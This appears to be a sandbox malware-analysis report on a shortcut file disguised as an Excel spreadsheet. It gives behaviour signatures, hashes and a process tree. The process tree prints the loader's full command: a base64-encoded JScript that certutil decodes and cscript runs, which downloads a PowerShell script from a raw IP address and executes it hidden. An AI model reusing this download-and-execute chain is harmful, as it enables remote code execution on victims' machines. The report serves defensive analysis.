Analysis

  • max time kernel
    300s
  • max time network
    18s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    24/07/2026, 03:44

General

  • Target
    SpisokZatrimanih.xlsx.lnk
  • Size 19KB
  • Sample260724-eak41afq7x
  • SHA256 067af2f12be3cb3e992d009c567a77e17a9f5956ed389f5483c54e85b08ac54c
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Badlisted process makes network request 1 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Deobfuscate/Decode Files or Information 1 TTPs 2 IoCs

    Payload decoded via CertUtil.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\SpisokZatrimanih.xlsx.lnk
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:5796
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c "pushd C:\Users\Admin\AppData\Local\Temp && echo dmFyIGg9bmV3IEFjdGl2ZVhPYmplY3QoIk1TWE1MMi5TZXJ2ZXJYTUxIVFRQLjYuMCIpO2gub3BlbigiR0VUIiwiaHR0cDovLzE4NS45NS4xNTYuNzQvc3pjaDIxMDcvd29yc2hpcHlva2UucHMxIixmYWxzZSk7aC5zZXRSZXF1ZXN0SGVhZGVyKCJVc2VyLUFnZW50IiwiVUEgV2luZG93c1Bvd2VyU2hlbGwiKTtoLnNlbmQoKTtuZXcgQWN0aXZlWE9iamVjdCgiU2hlbGwuQXBwbGljYXRpb24iKS5TaGVsbEV4ZWN1dGUoInBvd2Vyc2hlbGwuZXhlIiwiLU5vUCAtVyBIaWRkZW4gLUMgIitoLnJlc3BvbnNlVGV4dCwiIiwib3BlbiIsMCk7 > Ig.dat && certutil -f -decode Ig.dat hxyF.js >nul && dir Ig.dat >nul && cscript //nologo //b hxyF.js && del Ig.dat hxyF.js"
      2⤵
      • Deobfuscate/Decode Files or Information
      • Suspicious use of WriteProcessMemory
      PID:2952
      • C:\Windows\system32\certutil.exe
        certutil -f -decode Ig.dat hxyF.js
        3⤵
        • Deobfuscate/Decode Files or Information
        PID:2584
      • C:\Windows\system32\cscript.exe
        cscript //nologo //b hxyF.js
        3⤵
        • Badlisted process makes network request
        PID:1676

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

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        Downloads

        Ig.dat

        • Path C:\Users\Admin\AppData\Local\Temp\Ig.dat
        • Size 408B
        • SHA256 3d1d7ea3fae260be4b9173e2ecf7b6806a1387b5e54143b0911ab284de7dd117
        • MD5 SHA1 SHA512 TLSH

        hxyF.js

        • Path C:\Users\Admin\AppData\Local\Temp\hxyF.js
        • Size 303B
        • SHA256 9ac9dcd2efbee382d67e0789540a8f4840e0780753ac732db3a3c372916de486
        • MD5 SHA1 SHA512 TLSH